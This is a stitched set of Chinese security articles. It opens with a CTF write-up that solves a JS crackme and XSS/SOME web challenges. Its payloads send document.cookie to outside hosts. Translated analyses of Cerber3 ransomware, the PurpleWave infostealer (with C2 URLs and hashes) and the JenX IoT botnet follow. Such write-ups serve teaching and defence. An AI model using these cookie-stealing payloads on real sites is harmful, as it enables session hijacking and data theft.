parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) << 2) | (s['charCodeAt'](i * 5 + 1) >> 6)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x3F) >> 1)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x01) << 4) | (s['charCodeAt'](i * 5 + 2) >> 4)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 2) & 0x0F) << 1) | (s['charCodeAt'](i * 5 + 3) >> 7)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x7F) >> 2)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x03) << 3) | (s['charCodeAt'](i * 5 + 4) >> 5)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 4) & 0x1F))));
}
var replace = 0;
if (leftover == 1)
replace = 6;
else if (leftover == 2)
replace = 4;
else if (leftover == 3)
replace = 3;
else if (leftover == 4)
replace = 1;
for (i = 0; i < replace; i++)
parts.pop();
for (i = 0; i < replace; i++)
parts.push("=");
return parts.join("");
}
e = s2h(b2c(b[2])['split']("=")[0])^0x53a3f32
if(e != 0x4b7c0a73){
return false;
}
f = s2h(b2c(b[3])['split']("=")[0]) ^ e;
if(f != 0x4315332){
return false;
}
n = f*e*b[0]['length'];
h = function(str, func){
var result = "";
for(var i=0;i<str['length'];i++){
result += func(str[i])
}
return result;
}
j = b[1]['split']("3");
if(j[0]['length'] != j[1]['length'] || (s2h(j[0])^s2h(j[1])) != 0x1613){
return false;
}
k = str => str['charCodeAt']()*b[1]['length'];
l = h(j[0],k);
if(l!=0x2f9b5072){
return false;
}
m = s2h(b[4]['substr'](0,4))-0x48a05362 == n%l;
function u(str, j){
var result = "";
for(var i=0;i<j;i++){
result += str;
}
return result;
}
if(!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1){
return false
}
o = s2h(b[4]['substr'](6,2))['substr'](2) == b[4]['substr'](6,1)['charCodeAt']()*b[4]['length']*5;
return o && b[4]['substr'](4,1) == 2 && b[4]['substr'](6,2) == u(b[4]['substr'](7,1),2);
}
剩下的代码已经没什么可说的了。
1. 首先是确认flag前缀，然后按照`_`分割为5部分。
2. g函数对基础数组做了一些处理，已经没什么懂了。
3. s2h是字符串到hex的转化函数
4. 第一部分的验证不完整，导致严重的多解，只能通过爆破是否符合sha256来解决。
5. 后面引入的b2c函数很简单，测试就能发现是一个base32函数。
6. 第三部分和第四部分最简单，异或可得
7. h函数会对输入的字符串每位做func函数处理，然后拼接起来。
8. 第二部分由3分割，左右两边长度相等，同样可以推算出结果。
9. k是我专门加入的es6语法的箭头语法，对传入的每个字母做乘7操作。
10. 最后一题通过简单的判断，可以确定最后一部分的前四位。
11. u函数返回指定字符串的指定前几位
12. 剩下的就是一连串的条件:
13. 首先是一些很关键的的重复位，由于我写错了一些东西，导致这里永远是false，后被迫给出这几位.`!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1`
14. 最后一部分是集合长度、以及部分条件完成的，看上去存在多解，但事实上是能逆向出来结果的。
当我们都完成这部分的时候，flag就会被我们解出来了。
#### A World Restored
题目源码如下： <https://github.com/LoRexxar/HCTF2017-A-World-Restored>
A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞<https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html>，为了能尽可能的模拟真实环境，我这个不专业的Web开发只能强行上手实现站库分离。
其中的一部分非预期，也都是因为站库分离实现的不好而导致的。（更开放的题目环境，导致了很多可能，或许这没什么不好的？
整个站的结构是这样的：
1. auth站负责用户数据的处理，包括登陆验证、注册等，是数据库所在站。
2. messbox站负责用户的各种操作，但不连接数据库。
这里auth站与messbox站属于两个完全不同的域，受到 **同源策略** 的影响，我们就需要有办法来沟通两个站。
而这里，我选择使用token做用户登陆的校验+jsonp来获取用户数据。站点结构如下:
简单来说就是，messbox登陆账号完全受到token校验，即使你在完全不知道账号密码的情况下，获取该token就可以登陆账号。
那么怎么获取token登陆admin账号就是第一题。
而第二题，漏洞点就是上面文章中写的那样，反射性的domxss，可以得到服务端的flag。
为了两个flag互不干扰，我对服务端做了一定的处理，服务端负责处理flag的代码如下：
$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
$flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
if(!empty($_SESSION['user'])){
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
}
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
}
}
可以很明显的看出来，flag1是httponly并在messbox域下，只能登陆才能查看。flag2我设置了check位，只有bot才会访问这个页面，这样只有通过反射性xss，才能得到flag。
下面我们回到题目。
##### A World Restored
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
这道题目在比赛结束时，只有7只队伍最终完成了，非常出乎我的意料，因为漏洞本身非常有意思。（这个漏洞是ROIS发现的）
为了能够实现token，我设定了token不可逆的二重验证策略，但是在题目中我加入了一个特殊的接口，让我们回顾一下。
auth域中的login.php，我加入了这样一段代码
if(!empty($_GET['n_url'])){
$n_url = trim($_GET['n_url']);
echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
exit;
}else{
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>";
exit;
}
这段代码也是两个漏洞的核心漏洞点，假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面，那么因为未登录，页面会跳转到auth域并携带n_url，如果获取到登陆状态，这里就会拼接token传回messbox域，并赋予登陆状态。
简单的流程如下：
未登录->获取当前URL->跳转至auth->获取登陆状态->携带token跳转到刚才获取的URL->messbox登陆成功
当然，这其中是有漏洞的。
服务端bot必然登陆了admin账号，如果我们直接请求login.php并制定下一步跳转的URL，那么我们就可以获取拼接上的token！
poc
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}
得到token我们就可以登陆messbox域，成功登陆admin
##### A World Restored Again
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
到了第二部，自然就是xss了，其实题目本身非常简单，在出题之初，为了避免题目出现“垃圾时间”（因为非预期导致题目不可解），我在题目中加入了跟多元素。
并把flag2放置在`.2017.hctf.io`域下，避免有人找到messbox的xss但是打不到flag的问题。（没想到真的用上了）
这里我就简单描述下预期解法和非预期解法两个。
###### 预期解法
预期解法当然来自于出题思路。
<https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html>
漏洞本身非常简单，但有意思的是利用思路。
**当你发现了一个任意URL跳转的漏洞，会不会考虑漏洞是怎么发生的？**
也许你平时可能没注意过，但跳转一般是分两种的，第一种是服务端做的，利用`header:
location`,这种跳转我们没办法阻止。第二种是js使用`location.href`导致的跳转。
既然是js实现的，那么是不是有可能存在dom xss漏洞呢？
这个uber的漏洞由来就是如此。
这里唯一的考点就是，js是一种顺序执行的语言，如果location报错，那么就不会继续执行后面的js，如果location不报错，那么就可能在执行下一句之前跳转走。
当然，办法很多。最普通的可能是在location后使用`stop()`来阻止跳转，但最好用的就是新建script块，这样上一个script报错不会影响到下一个script块。
最终payload
</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script
exp
http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E
###### 非预期解法
除了上面的漏洞以外，messbox也有漏洞，username在首页没有经过任何过滤就显示在了页面内。
但username这里漏洞会有一些问题，因为本身预期的漏洞点并不是这里，所以这里的username经过我框架本身的一点儿过滤，而且长度有限制，所以从这里利用的人会遇到很多非预期的问题。
payload如下，注册名为
<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script>
的用户名，并获取token。
传递
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb
U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=
即可
#### Deserted place
出题思路来自于一个比较特别的叫做SOME的攻击方式，全名`Same Origin Method
Execution`，这是一种2015年被人提出来的攻击方式，可以用来执行同源环境下的任意方法，2年前就有人做了分析。
* [原paper](http://files.benhayak.com/Same_Origin_Method_Execution__paper.pdf)
* <http://blog.safedog.cn/?p=13>
* <https://lightless.me/archives/same-origin-method-exection.html>
题目源码如下 <https://github.com/LoRexxar/HCTF2017-Deserted-place>
我们一起来研究一下
##### SOME？
首先我们一起来探究一个SOME是什么？
SOMe,Same Origin Method Execution,这是Ben Hayak 在 Black Hat Eorope 2014
演讲的题目。在随后的15年，公开了SOME相关的完整paper，其中讲述了和SOME相关的各种场景和利用思路。有兴趣的朋友可以去看看视频.
<https://www.youtube.com/watch?v=OvarkOxxdic>
我们都知道jsonp是用来解决跨域处理数据问题的解决方案，但是也许会有这样一种情况出现，某个网站的某个富文本编辑器支持选择字体颜色，当你点击按钮的时候，会弹出类似于颜色点选器的轮盘网页，当你选择某一颜色时，这个颜色就会修改原页面的字体页面，这个接口或许是这样实现的。
http://a.com/color.php?callback=get_color
color.php的代码是这样的
<script>
function get_color(data) {
// todo here
}
</script>
<script>
<?php echo $_GET['callback']."();"; ?>
</script>
当访问color.php的时候，页面就会自动执行`get_color`，这个页面和父页面同源，结构也和传统的jsonp接口不太一样，但这种情况完全有可能发生。
一般来说，我们可能会尝试在`get_color`尝试domxss，遗憾的是，大部分这样的接口都只允许`.\w+`的字符输入。
而SOME攻击，就是在这种场景下出现的，在callback这里的缺陷可以导致执行同源下的 **任意**
方法，值得注意的是，这种攻击方法并不是csrf，他可以完全模拟你的任何行为。
这种攻击方式有几个局限性: 1、受到返回头的影响，如果返回头为`Content-T ype: application/json`,则任何利用都不会生效。
2、攻击者没办法操作执行函数传入参数，或者可以说是比较难操作。 3、受到同源策略的限制，只能执行同源下的任意方法。
###### 让我们来测试一下
首先我们需要一个站点来模拟一下
index.html
<form>
<button onclick="c()">Secret Button</button>
</form>
<script>
function c() {
alert("LoRexxar click!");
}
</script>
jsonp.php
<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];
echo "<script>";
echo $callback . "()";
echo "</script>";
我们假设click是一个敏感的按钮，这种情况我们可以通过SOME来点击这个按钮来执行相应的js。
首先我们需要一个some1.html
<script>
function start_some() {
window.open("some2.html");
location.replace("http://b.com/index.html");
}
setTimeout(start_some(), 1000);
</script>
其次需要一个some2.html
<script>
function attack() {
location.replace("http://b.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
}
setTimeout(attack, 2000);
</script>
当我们打开some1.html的时候，c函数成功被执行了
这种攻击方式在大型站点越发的常见，SOME的作者举例子就用了wordpress的一个漏洞，通过接口可以在wordpress中安装想要的插件，导致getshell等更严重的漏洞。
##### Deserted place Writeup
回到题目。
打开题目主要功能有限：
1. 登陆
2. 注册
3. 修改个人信息（修改个人信息后按回车更新自己的信息）、
4. 获取随机一个人的信息，并把它的信息更新给我自己
简单测试可以发现，个人信息页面存在self-xss，但问题就在于怎么能更新admin的个人信息。
仔细回顾站内的各种信息，我们能发现所有的更新个人信息都是通过开启子窗口来实现的。
edit.php里面有一个类似于jsonp的接口可以执行任意函数，简单测试可以发现这里正则匹配了`.\w+`，这意味这我们只能执行已有的js函数，我们可以看看后台的代码。
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
...
echo "<script>";
echo $matches[0]."();";
echo "</script>";
已有的函数一共有3个
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}
如果执行`UpdateProfile`，站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。
回顾站内逻辑，当我们点击click
me，首先请求`/edit.php?callback=RandomProfile`，然后跳转至任意`http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming`，然后页面关闭并，更新信息到当前用户上，假设这里user是我们设定的还有恶意代码的user，那我们就可以修改admin的信息了，但，怎么能让admin打开这个页面呢？
我们可以尝试一个，如果直接打开`edit.php?callback=RandomProfile&user=xiaoming`
报错了，不是通过open打开的页面，寻找不到页面内的`window.opener`对象，也就没办法做任何事。
这里我们只有通过SOME，才能操作同源下的父窗口，首先我们得熟悉同源策略，同源策略规定，只有同源下的页面才能相互读写，如果通过`windows.open`打开的页面是同源的，那么我们就可以通过`window.opener`对象来操作父子窗口。
而SOME就是基于这种特性，可以执行同源下的任意方法。
最终payload：
vps, 1.html
<script>
function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>
vps, 2.html
<script>
function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>
在lorexxar账户的message里添加payload
<img src="\" onerror=window.location.href='http://0xb.pw?cookie='%2bdocument.cookie>
getflag!
* * * | 社区文章 |
# 【木马分析】“Cerber3”敲诈者木马分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**一、 前言**
**近日，360互联网安全中心捕获到一款名为“cerber3”的敲诈者木马。**
该敲诈者木马会加密计算机中的重要文件，加密的文件类型包括但不限于.doc,.ppt,.xls.,.jpg,.zip,.pdf等180多种类型。被加密后的文件将无法正常打开且被加上“cerber3”扩展名，用户必须访问相应网站支付赎金才可恢复文件，对数据安全有巨大威胁。
图1 感染“cerber3”后的桌面背景
图2 勒索信内容
图3 被加密的文件
而此次木马的传播 **除了以往的邮件附件传播外，也大量使用网站挂马，word宏病毒等手段传播** ，这也造成大批普通网民中招。
文档打开之后，如果宏被执行的话，宏代码会调用Powershell做为下载器下载木马执行：
**
**
**二、 加密流程解析**
**“cerber3”敲诈者使用RSA搭配随机数进行加密操作。**
首先使用RSA公钥加密随机数作为本机专有加密密钥，在对每个文件进行加密时再产生一组随机数并使用该随机数加密文件，最后用本机专有密钥加密该随机数后存放到文件中，同时也将本机专有密钥也通过RSA加密后存到文件中。此种加密方法保证每个文件加密密钥不同并且每台计算机的专有密钥不同，就算暴力破解出其中一组随机数也只能解密一个文件，只有获得RSA私钥才能恢复所有文件。加密流程如下所示。
使用这种分级加密方式，每一个文件中都存储有加密文件使用的密钥，攻击者可以对单个文件实施解密操作。在攻击者提供的付款页面中也提供了“免费解密单个文件”的功能。
市面上可以看到有不少用户中招之后，交付赎金解密的案例
**
**
**三、 代码分析**
和其他来自国外的“敲诈者”木马相同，“cerber3”敲诈者木马对反静态分析下了很大的功夫。
**它通过在申请的虚拟空间中执行数据解密操作，并通过内存卸载和重新映射两个步骤将解密得到的数据写回内存中，从而完成一个“狸猫换太子”的任务。**
处理完的程序和原先的程序完全不同，因此可以躲过绝大多数的静态扫描。
图4 使用push retn更改执行流程至开辟的虚拟内存中
图5 解除文件映射
程序将数据段读取的内容解密之后映射到内存中，从而完成整个程序内容的转换，至此真正的加密工作才开始进行。
加密工作的第一步就是用存储在文件中的RSA公钥加密一组随机数，作为本机唯一的初始密钥。
图6 RSA公钥
图7 公钥加密随机数函数
图8 加密得到的本机统一密钥
获得本机初始密钥之后，将会使用该密钥去加密每个文件对应的唯一随机数，然后再对文件进行加密，完整的加密流程如下图所示。
图9 加密流程
然后将加密后的随机数密钥和加密后的本机专有密钥也存放到文件中。受害者交付赎金后，作者通过私钥解密得到本机专有密钥，再使用本机专有密钥分别解密每个文件使用的随机数密钥，最后解密每个文件。
图10 将两组密钥存放到文件中
**四、 总结**
“cerber3”敲诈者会破坏用户计算机中的重要文档，必须向其支付一定数额比特币才能对文档进行恢复，又由于对方所提供的地址都来自于暗网，因此国内用户计算机一旦感染此病毒将难以解决文件恢复的问题。
对于普通网民来说，可以从下面几个方面预防这类病毒：
**1\. 对重要数据及时做备份，将备份存在多个位置，预防数据损坏丢失。**
**2\. 打好系统和软件补丁，预防各类挂马和漏洞攻击。**
**3\. 养成良好的上网习惯，不轻易打开陌生人发来的邮件附件。**
**4\. 最重要的，用户应该选择一款可靠的安全软件，保护计算机不受各类木马病毒侵害。**
**并且对此360安全卫士开通了“反勒索服务”，并向用户公开承诺：使用360安全卫士并开启该服务后，仍然感染敲诈者病毒的话，360将提供最高3个比特币（约13000元人民币）的赎金帮助用户恢复数据，让用户远离财物及文档的损失。**
**
** | 社区文章 |
**原文链接：[https://www.zscaler.com/](https://www.zscaler.com/blogs/research/purplewave-new-infostealer-russia "https://www.zscaler.com/")
译者：知道创宇404实验室翻译组**
Infostealer是网络犯罪分子最赚钱的工具之一，因为从感染了该恶意软件的系统收集的信息可以在地下网络犯罪分子中出售或用于凭据填充攻击。Zscaler
ThreatLabZ团队遇到了一个名为PurpleWave的新Infostealer，它是用C
++编写的，并自动将其静默安装到用户的系统上。它连接到命令和控制（C＆C）服务器以发送系统信息，并将新的恶意软件安装到受感染的系统上。
该恶意软件的作者在俄罗斯网络犯罪论坛上销售PurpleWave，终身更新的费用为5,000 RUB（US 54）。
[
_图1：俄罗斯论坛上的PurpleWave销售帖子_
出售PurpleWave的作者声称，这种窃取程序能够窃取Chromium和Mozilla浏览器的密码，cookie，卡以及自动填充形式。该窃取程序还会从指定路径中收集文件，进行屏幕截图并安装其他模块。
PurpleWave的功能包括：
* 从Chromium和Mozilla窃取密码，Cookie，卡，自动填充数据，浏览器历史记录。
* 从指定路径收集文件
* 捕捉屏幕
* 盗窃系统信息
* 窃取电报会话文件
* 窃取Steam应用程序数据
* 窃取Electrum钱包数据
* 加载并执行其他模块/恶意软件
[
_图2：PurpleWave登录面板_
作者还构建了一个仪表板，攻击者可以在该仪表板上根据日期关注感染计数，访问被感染计算机的被盗日志以及更改恶意软件配置设置。
_图3：PurpleWave感染仪表板_
仪表板还使攻击者能够自定义PurpleWave的配置。
_图4：用于自定义PurpleWave配置的仪表板_
### **技术分析**
在执行PurpleWave二进制文件后，它会用俄语给出虚假的错误消息，攻击者可以在面板中进行自定义。但是在后台，它会执行所有恶意活动。
_图5：伪造的错误消息（俄语）（翻译为：内存控制块已损坏。）_
窃取软件的名称（PurpleWave）和版本（1.0）以二进制形式进行硬编码和加密。二进制文件中的大多数字符串都经过加密，但是在运行时借助二进制文件中存在的解密循环将其解密（如图6所示）。
_图6：二进制文件中加密字符串的通用解密功能_
PurpleWave二进制文件创建一个名称为“
MutexCantRepeatThis”的互斥锁，以避免多次执行恶意软件实例。之后，它将带有自定义标头和正文的HTTP POST请求发送到C＆C
URL以获取配置数据。
_图7：向C＆C服务器发送请求以获取配置数据_
它创建一个HTTP请求标头，其内容类型为“ form-data”。边界分配有“ boundaryaswell”以充当标记，而用户代理则设置有“
app”。它创建一个请求主体，其表单名称为“ id”，并且为其分配的值为1。
[
_图8：带有自定义标头和正文的配置请求_
接收到的数据包含自定义配置，该配置可能会因二进制文件而异。我们已经观察到PurpleWave二进制文件的三种不同配置和不同主机。
_图9：来自不同PurpleWave二进制文件的配置_
dirs- 它包含要从中收集文件的目录信息。 fake- 包含伪警报消息，将在执行时显示给用户。 loaders -它包含要在受感染系统上安装的其他模块名称。
对于Config-2，PurpleWave将遍历路径“％userprofile％/
Desktop”并收集扩展名为txt，doc和docx的文件。在Config-3中，它将不收集任何文件，但是在加载器中具有名为“
Kv2TDW4O”的模块，该模块将在系统上下载并执行。
### **安装其他模块**
为了安装接收到的配置（Config-3）中提到的其他模块，PurpleWave再次创建一个HTTP POST请求，该请求具有与
C&C主机上一个请求中提到的相同标头，后跟“ / loader / module_name”。
[
_图10：下载附加模块的请求_
PurpleWave从JSON配置中枚举加载程序列表，从C＆C服务器下载模块名称，并将其存储在％appdata％目录中，然后执行它。
_图11：下载并执行其他模块_
我们在某些PurpleWave二进制文件中观察到的下载模块是Electrum钱包窃取程序，它是用.NET编写的，能够从受感染的系统中窃取Electrum钱包数据。
_图12：收集Electrum钱包数据_
### **数据窃取**
PurpleWave能够从Chromium和Mozilla窃取凭据，自动填充数据，卡数据，Cookie和浏览器历史记录。
对于Chromium浏览器，它将从“ \％AppData％\ Local \ {Browser} \ User Data \ Default \ Login
Data”中获取登录凭据，并从“ \％AppData％\ Local \ {Browser} \ User Data \ Default \
Cookies”和其他信息，例如“ \％AppData％\ Local \ {Browser} \ User Data \ Default \ Web
Data”中的自动填充数据，卡数据和浏览器历史记录。
[
_图13：窃取浏览器数据_
所窃取的浏览器信息以表单数据字段的形式收集，其名称如下所示，其名称后面是其值。 用户名-浏览器[BrowserName] [密码] [索引] [登录]
密码-浏览器[BrowserName] [密码] [索引] [密码]
_图14：被盗的浏览器信息。_
窃取程序与浏览器的数据一起捕获当前屏幕，并将其附加到表单数据中浏览器的被盗数据中，文件名为“ screenshot.png”。
[
_图15：捕获的屏幕截图_
之后，它将收集有关受感染系统的所有信息，例如操作系统，CPU信息，GPU信息，计算机GUID，用户名，计算机名称等。
_图16：PurpleWave收集的系统信息_
窃取程序还从Steam应用程序收集SSFN文件。Steam应用程序用于讨论和创建游戏。SSFN文件在用户每次登录其Steam帐户时对其进行验证。它从注册表“
Software \ Valve \ Steam”获取Steam路径，并读取存储在config目录中的所有SSFN文件。
PurpleWave还从Telegram应用程序中窃取与会话相关的文件。它读取系统注册表分支“ HKCU \ Software \ Classes \
tdesktop.tg \ DefaultIcon”中默认键的值，以获得Telegram的路径，并收集“ D877F783D5D3EF8C”目录中以“
map”开头的所有文件。
[
_图17：收集Steam和电报数据。_
PurpleWave合并所有收集的文件数据，浏览器数据，屏幕截图，Steam数据，电报数据和系统信息，然后使用HTTP POST请求将其发送到C＆C服务器。
_图18：将窃取的数据发送到C＆C服务器_
### **覆盖范围**
Zscaler Cloud Sandbox已成功阻止了该攻击中观察到的指标。
[](https://www.zscaler.com/cdn-cgi/image/format=auto/sites/default/files/images/blogs/sadique/purplewave/sandbox1.JPG)
_图19：PurpleWave的Zscaler Cloud Sandbox报告_
除了检测沙箱外，Zscaler的多层云安全平台还可以检测各个级别的指标。已发布以下用于检测恶意软件的高级威胁防护签名：
[Win32.PWS.PurpleWave](https://threatlibrary.zscaler.com/?keyword=Win32.PWS.PurpleWave)
### **结论**
Zscaler认为PurpleWave代表着持续不断的威胁，因为在撰写本文时，C＆C服务器仍在运行并做出响应。该恶意软件似乎仍然可以在黑市上购买。PurpleWave具有窃取敏感信息的惊人潜力。该恶意软件处于开发的早期阶段，作者可能会增强其窃取功能并添加更多功能。我们将继续跟踪此威胁，以确保覆盖范围。
### [**MITER ATT＆CK**](https://attack.mitre.org/) **策略和技术映射**
**战术** | **技术**
---|---
T1083 | 文件和目录发现
T1082 | 系统信息发现
T1033 | 系统用户发现
T1124 | 系统时间发现
T1016 | 系统网络配置发现
T1020 | 自动渗透
T1041 | 通过C＆C通道进行渗透
T1071 | 使用Web协议
T1105 | 从Web浏览器下载其他文件T1555凭证
T1539 | 窃取Web会话Cookie
T1005 | 来自本地系统的数据
T1113 | 截屏
**IOC** **哈希**
B18BCB300AE480B16A0E0B9110E1C06C
D8A36DCE73E91780B52B6F387C5CFD78
9E4D3F4439ED39C01F3346FBDB7488AE
657C3DDAFF433067C7F74F3453C7EB37
E770544551F94296B9A867E42435206F
E23DED17CDF532790F708E8A550969EB
BC693652D5F57E792551C3A62049BA0B
B5FB35BE12C66F16F55AF2C2ABC77E55
AD24A6614C528DE81283FE4A618682C7
AC17A56355914E231B2AD52E45D6F779
7A728F42940F5BCB50AC9A5C57C1D361
53BC8E68A9028C58941B78E4AD867B83
394298EED78D455416E1E4CF0DEB4802
30898909FD4BF93FE23C62E6962BED11
02350FFA6B82CD2079797ED4BA1DD240
0212EB9562992DA05AB28EFFB9D64D8A
01C8D886BD213F983D0FD5AD35D78A9A
**URL**
sh1213709[.]a[.]had[.]su/config
sh1213709[.]a[.]had[.]su/gate
sh1213709[.]a[.]had[.]su/loader/Kv2TDW4O
sh1213709[.]a[.]had[.]su/loader/9ZNzBRpT
sh1213709[.]a[.]had[.]su/loader/Ds5UabYT
sh1213709[.]a[.]had[.]su/loader/MTIQK8lV
manget6z[.]beget[.]tech/config
manget6z[.]beget[.]tech/gate
ec2-3-134-252-78[.]us-east-2[.]compute[.]amazonaws[.]com/config
ec2-3-134-252-78[.]us-east-2[.]compute[.]amazonaws[.]com/gate
bibaiboba[.]beget[.]tech/config
bibaiboba[.]beget[.]tech/gate
sumakokl[.]beget[.]tech/config
sumakokl[.]beget[.]tech/gate
ikaschyn[.]beget[.]tech/config
ikaschyn[.]beget[.]tech/gate
h98801x4[.]beget[.]tech/config
h98801x4[.]beget[.]tech/gate
* * * | 社区文章 |
# JenX：一种针对物联网设备的新型僵尸网络
|
##### 译文声明
本文是翻译文章，文章原作者 Pascal Geenens，文章来源：blog.radware.com
原文地址：<https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/>
译文仅供参考，具体内容表达以及含义原文为准。
近期，又有一款新型的僵尸网络开始攻击物联网设备了。这种僵尸网络名叫JenX，它能够利用托管服务器来寻找并感染新的目标用户。在攻击过程中，它会利用物联网僵尸网络中近期比较热门的已知安全漏洞，比如说下面这两个：
* -CVE-2014-8361：“Realtek SDK Miniigd UPnP SOAP命令执行”漏洞以及相关利用；
* -CVE-2017–17215：“华为HG532路由器-任意命令执行”漏洞以及相关利用；
这两种漏洞利用向量早在Satori僵尸网络被曝光时就已经被人们所知晓了，而其中的相关漏洞利用代码基于的是“Janit0r”（BrickerBot的开发者）近期在Pastebin帖子中公开的代码。除此之外，这款恶意软件还使用了跟PureMasuta类似的技术，而PureMasuta恶意软件的源代码已经公开在了暗网中一个需要邀请码才可访问的地下论坛。
在对JenX进行研究和分析的过程中，我们发现了一个托管在域名‘sancalvicie.com’之下的C2服务器，而这个服务器是一台托管了游戏《侠盗猎车手之圣安地列斯》的多玩家mod服务器，并且它在服务器端还部署了DDoS（分布式拒绝服务攻击）服务。下面给出的截图就是托管在SanCalvicie.com上的“DDoS即服务”的详细信息以及价格：
SAMP选项可以给《侠盗猎车手之圣安地列斯》提供多用户游戏服务，并且还明确提到了针对Source游戏引擎查询以及其他类型DDoS攻击的保护服务。
Corriente
Divina选项被描述为“上帝的愤怒会降临到你所提供的IP地址身上”。也就是说，该服务可以对客户所提供的IP地址进行DDoS攻击，攻击带宽约为90-100Gbps，攻击向量包括Source引擎查询以及32字节泛洪攻击。TS3脚本以及“Down
OVH”选项很可能指的是针对托管服务OVH（OVH是一家云托管服务提供商，并且从2016年9月份开始，这家服务商就一直受到了原始Mirai僵尸网络的攻击困扰）的攻击服务。需要注意的是，OVH同样可以给客户提供多游戏玩家服务器的托管服务（Minecraft），而它也是Mirai攻击的主要目标。
上面这些信息是我初次调查时所收集到的，当我准备编写这篇文章并再次访问该网站以收集材料时，我发现该网站的DDoS攻击服务描述竟然修改了。说得更准确一点，他们升级了自己的DDoS服务。下图显示的是SanCalvicie.com网站升级后的DDoS攻击服务描述信息：
需要注意的是上图中用红色框框标注的部分：“BOTS”以及增加后的DDoS攻击流量290-300Gbps。由此看来，攻击者似乎对他们新上线的僵尸网络非常有信心，而这个新型的僵尸网络只部署上线了两天左右的时间。
## 漏洞利用
在2018年1月30号，我们的物联网蜜罐记录下了多个来自不同服务器的漏洞利用尝试，而这些服务器均位于欧洲地区多个不同的主机托管中心。其中，基于CVE-2014-8361的漏洞利用代码会尝试通过向目标主机端口52869发送三种不同的SOAP
POST请求（使用URL/picsdesc.xml）来实现远程代码执行。
CVE-2017–17215所基于的漏洞利用代码会对目标主机端口37215发送POST请求（/ctrlt/DeviceUpgrade_），并使用一系列不同的命令序列在目标主机中下载并运行恶意软件。首先，它会尝试除掉当前主机中驻留的任何bot（如果有的话），这样可以避免出现资源竞争：
该恶意软件的代码名叫“jennifer”，恶意代码都是从相同的服务器（5.39.22.8）下载的，但是托管恶意代码的服务器跟托管漏洞利用代码的服务器供应商是不同的。
下载服务器托管了针对MIPS、ARM和x86的恶意代码样本，而且这些代码近期都被大量用户下载过：
经过分析之后，我们得到的恶意代码IoC如下所示：
JenX跟我们在去年所见到的很多物联网僵尸网络有些不同，这个僵尸网络使用了服务器来进行主机扫描以及漏洞利用。但是包括Mirai、Hajime、Persirai、Reaper、Satori和Masuta在内的几乎所有僵尸网络进行的都是分布式扫描和漏洞利用。也就是说，每一台受感染主机都会各自单独寻找新的目标主机，而这种分布式扫描机制可以让僵尸网络内的受感染主机数量呈指数式增长，但这需要牺牲恶意软件的灵活性和复杂性作为代价。
